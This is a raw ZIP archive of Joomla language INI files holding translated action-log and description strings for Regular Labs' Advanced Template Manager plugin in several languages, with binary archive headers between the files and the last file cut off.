PKao�[�+�55Jadvancedtemplates/language/it-IT/it-IT.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Con Advanced Template Manager hai
opzioni e funzionalità extra per gestire i tuoi template."

ATP_SETTINGS="Per favore leggi [[%1:start link%]]Template
Manager[[%2:end link%]] per le impostazioni."
ATP_THE_COMPONENT="Componente Advanced Template Manager"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKao�[���e��Nadvancedtemplates/language/it-IT/it-IT.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKbo�[8�L��Jadvancedtemplates/language/ja-JP/ja-JP.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="「Advanced Template
Manager」を使うと、テンプレートをコントロールする追加のオプションと機能が使えます。"

ATP_SETTINGS="設定 (パラメータ) については、[[%1:start
link%]]テンプレート管理[[%2:end
link%]]を参照して下さい。"
ATP_THE_COMPONENT="Advanced Template Manager
コンポーネント"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKbo�[���e��Nadvancedtemplates/language/ja-JP/ja-JP.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKbo�[���OOJadvancedtemplates/language/lt-LT/lt-LT.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Išplėstinė šablonų tvarkyklė"

ADVANCEDTEMPLATEMANAGER_DESC="Išplėstinė šablonų tvarkyklė
suteiks papildomas parinktis ir funkcionalumą šablonų valdymui."

ATP_SETTINGS="Peržiūrėkite [[%1:start link%]]Šablonų tvarkyklės
[[%2:end link%]] nustatymus."
ATP_THE_COMPONENT="Išplėstinės šablonų tvarkyklės
komponentas"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKbo�[���
��Nadvancedtemplates/language/lt-LT/lt-LT.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Išplėstinė šablonų tvarkyklė"
PKbo�[n��yQQJadvancedtemplates/language/nl-BE/nl-BE.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Met Advanced Template Manager heb je
extra opties en functionaliteit om de controle te nemen over uw
templates."

ATP_SETTINGS="Gelieve het [[%1: start link%]]Template Beheer[[%2:end
link%]] te raadplegen voor instellingen"
ATP_THE_COMPONENT="het Advanced Template Manager component"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKbo�[���e��Nadvancedtemplates/language/nl-BE/nl-BE.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKbo�[�;e�llJadvancedtemplates/language/nl-NL/nl-NL.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Actie Log - Regular Labs -
Geavanceerde Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Sla de acties op van gebruikers
voor Geavanceerde Template Manager"
ADVANCEDTEMPLATEMANAGER="Geavanceerde Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Met Geavanceerde Template Manager heeft
u extra opties en functies om uw templates te controleren."

ATP_SETTINGS="AUB kijk in [[%1:start link%]]Templatebeheer[[%2:end
link%]] voor instellingen."
ATP_THE_COMPONENT="de Geavanceerde Template Manager component"
ATP_THE_SYSTEM_PLUGIN="de Geavanceerde Template Manager systeem
plug-in"

ATP_ACTION_FOLDER_FILE_ACTIONS="Map/Bestandsacties"
ATP_ACTION_TEMPLATE_COPY="Template kopiëren"
ATP_ACTIONLOGS_FILE_ADDED="Gebruiker <a
href='{accountlink}'>{username}</a> voegde <a
href='{filelink}'>{file}</a> toe aan template
{template}"
ATP_ACTIONLOGS_FILE_DELETED="Gebruiker <a
href='{accountlink}'>{username}</a> verwijderde {file}
van template {template}"
ATP_ACTIONLOGS_FILE_UPDATED="Gebruiker <a
href='{accountlink}'>{username}</a> updatete <a
href='{filelink}'>{file}</a> in template
{template}"
ATP_ACTIONLOGS_STYLE_SET_HOME="Gebruiker <a
href='{accountlink}'>{username}</a> veranderde de
standaard template stijl naar <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="Gebruiker <a
href='{accountlink}'>{username}</a> maakte een nieuwe
template genaamd '{to_name}' (copy of
'{from_name}')"
ATP_TEMPLATE_FILE="template bestand"
PKbo�[��*`��Nadvancedtemplates/language/nl-NL/nl-NL.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Actie Log - Regular Labs -
Geavanceerde Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Sla de acties op van gebruikers
voor Geavanceerde Template Manager"
ADVANCEDTEMPLATEMANAGER="Geavanceerde Template Manager"
PKbo�[m0�aaJadvancedtemplates/language/pt-BR/pt-BR.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Gerenciador Avançado de Temas"

ADVANCEDTEMPLATEMANAGER_DESC="Com o Gerenciador Avançado de Temas
você tem opções e funcionalidades extras para controlar teus
temas."

ATP_SETTINGS="Por favor, veja o [[%1: link inicial%]] Gerenciador de
Temas [[%2: link final%]] para configurações."
ATP_THE_COMPONENT="o componente de Gerenciador Avançado de
Temas"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKbo�[M�6`��Nadvancedtemplates/language/pt-BR/pt-BR.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Gerenciador Avançado de Temas"
PKbo�[{�${@@Jadvancedtemplates/language/pt-PT/pt-PT.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Com o Advanced Template Manager terá
opções e funcionalidades adicionais para gerir os seus modelos."

ATP_SETTINGS="Por fgavor, ver configurações em[[%1:start
link%]]Gestor de modelos[[%2:end link%]]."
ATP_THE_COMPONENT="o componente Advanced Template Manager"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKbo�[���e��Nadvancedtemplates/language/pt-PT/pt-PT.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKbo�[�����Jadvancedtemplates/language/ru-RU/ru-RU.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="С помощью Advanced Template
Manager у вас есть дополнительные варианты и
возможности для управления
шаблонами."

ATP_SETTINGS="Пожалуйста перейдите в [[%1:start
link%]]Advanced Template Manager[[%2:end link%]] для его
настройки."
ATP_THE_COMPONENT="компонент Advanced Template Manager"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKbo�[���e��Nadvancedtemplates/language/ru-RU/ru-RU.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKbo�[��88Jadvancedtemplates/language/sv-SE/sv-SE.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Aktivitetslogg - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Sparar aktiviteter för
användare av Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Med Advanced Template Manager får du
extra alternativ och funktioner till dina sidmallar."

ATP_SETTINGS="Gå till [[%1:start link%]]Mallar[[%2:end link%]] för
inställningar."
ATP_THE_COMPONENT="Komponenten Advanced Template Manager"
ATP_THE_SYSTEM_PLUGIN="Advanced Template Manager system-plugin"

ATP_ACTION_FOLDER_FILE_ACTIONS="Mapp/Fil-aktiviteter"
ATP_ACTION_TEMPLATE_COPY="Kopiera Sidmall"
ATP_ACTIONLOGS_FILE_ADDED="Användare <a
href='{accountlink}'>{username}</a> lade till <a
href='{filelink}'>{file}</a> till sidmall
{template}"
ATP_ACTIONLOGS_FILE_DELETED="Användare <a
href='{accountlink}'>{username}</a> tog bort {file}
från sidmallen {template}"
ATP_ACTIONLOGS_FILE_UPDATED="Användare <a
href='{accountlink}'>{username}</a> uppdaterade <a
href='{filelink}'>{file}</a> i sidmallen
{template}"
ATP_ACTIONLOGS_STYLE_SET_HOME="Användare <a
href='{accountlink}'>{username}</a> ändrade standard
sidmallstil till <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="Användare <a
href='{accountlink}'>{username}</a> skpade en ny sidmall
kallad '{to_name}' (kopia av '{from_name}')"
ATP_TEMPLATE_FILE="sidmallfil"
PKbo�[�8�|��Nadvancedtemplates/language/sv-SE/sv-SE.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Aktivitetslogg - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Sparar aktiviteter för
användare av Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKco�[am���Jadvancedtemplates/language/tr-TR/tr-TR.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs - Advanced
Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Kullanıcıların Advanced
Template Manager bileşeninde yaptığı işlemler kaydededilir."
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Advanced Template Manager ile temaları
denetlemek için ek seçenek ve işlevler eklenebilir."

ATP_SETTINGS="Ayarlar için [[%1:start link%]]Template Manager sistem
uygulama eki[[%2:end link%]] bölümüne bakın."
ATP_THE_COMPONENT="Advanced Template Manager bileşeni"
ATP_THE_SYSTEM_PLUGIN="Advanced Template Manager Sistem Uygulama
Eki"

ATP_ACTION_FOLDER_FILE_ACTIONS="Klasör/Dosya İşlemleri"
ATP_ACTION_TEMPLATE_COPY="Temayı Kopyalayın"
ATP_ACTIONLOGS_FILE_ADDED="<a
href='{accountlink}'>{username}</a> kullanıcısı
{template} temasına <a href='{filelink}'>{file}</a>
dosyasını ekledi"
ATP_ACTIONLOGS_FILE_DELETED="<a
href='{accountlink}'>{username}</a> kullanıcısı
{template} temasından <a
href='{filelink}'>{file}</a> dosyasını sildi"
ATP_ACTIONLOGS_FILE_UPDATED="<a
href='{accountlink}'>{username}</a> kullanıcısı
{template} temasında <a href='{filelink}'>{file}</a>
dosyasını güncelledi"
ATP_ACTIONLOGS_STYLE_SET_HOME="<a
href='{accountlink}'>{username}</a> kullanıcısı
varsayılan tema biçemini <a
href='{style_link}'>{style_name}</a> olarak
değiştirdi"
ATP_ACTIONLOGS_TEMPLATE_COPY="<a
href='{accountlink}'>{username}</a> kullanıcısı
'{to_name}' ('{from_name}' kopyası) adında bir tema
oluşturdu"
ATP_TEMPLATE_FILE="Tema Dosyası"
PKco�[�uD��Nadvancedtemplates/language/tr-TR/tr-TR.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs - Advanced
Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Kullanıcıların Advanced
Template Manager bileşeninde yaptığı işlemler kaydededilir."
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKco�[:���Jadvancedtemplates/language/uk-UA/uk-UA.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="З Advanced Template Manager ви
отримаєте додаткові можливості і
функціональність для управління вашими
шаблонами."

ATP_SETTINGS="Будь ласка використовуйте
[[%1:start link%]]Template Manager[[%2:end link%]] для
налаштування."
ATP_THE_COMPONENT="компонент Advanced Template Manager"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
